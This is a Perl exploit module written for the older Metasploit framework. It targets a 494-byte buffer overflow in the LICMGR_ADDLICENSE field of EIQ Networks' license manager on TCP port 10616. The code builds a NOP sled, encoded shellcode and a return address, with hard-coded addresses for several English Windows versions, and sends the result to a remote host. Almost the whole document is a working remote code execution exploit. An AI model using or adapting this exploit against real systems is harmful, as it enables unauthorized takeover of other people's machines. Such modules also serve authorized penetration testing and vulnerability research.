#!/usr/bin/perl -w#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs
package Msf::Exploit::EiQ_License_494;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'EIQ License Manager Overflow',
'Authors' => [ 'ri0t ri0t@ri0tnet.net, KF kf_list@digitalmunition.com' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp' ],
'Priv' => 0,
'AutoOpts' => { 'EXITFUNC' => 'seh' },
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 10616],
},
'Payload' =>
{
'Space' => 494,
'BadChars' => "\x00\x0a\x0d\x40\x26",
},
'Description' => Pex::Text::Freeform(qq{
This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
Field of EIQ networks network analyser this module exploits buffers of 494 bytes
in size. This module should work on all EIQ branded analysers. Exploitation
assistance from KF.
}),
'DefaultTarget' => 1,
'Targets' =>
[
['Windows 2000 SP0-SP4 English', 0x750316e2], # call ebx
['Windows XP SP1/SP2 English', 0x77db64dc ], # jmp ebx
['Windows Server 2003 SP0/SP1 English', 0x77d16764 ], # jmp ebx
],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
my $nops = $self->MakeNops(494 - length($shellcode));
my $ret = pack("V", $target->[1]);
my $evil = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
$s->Send("$evil");
return;
}
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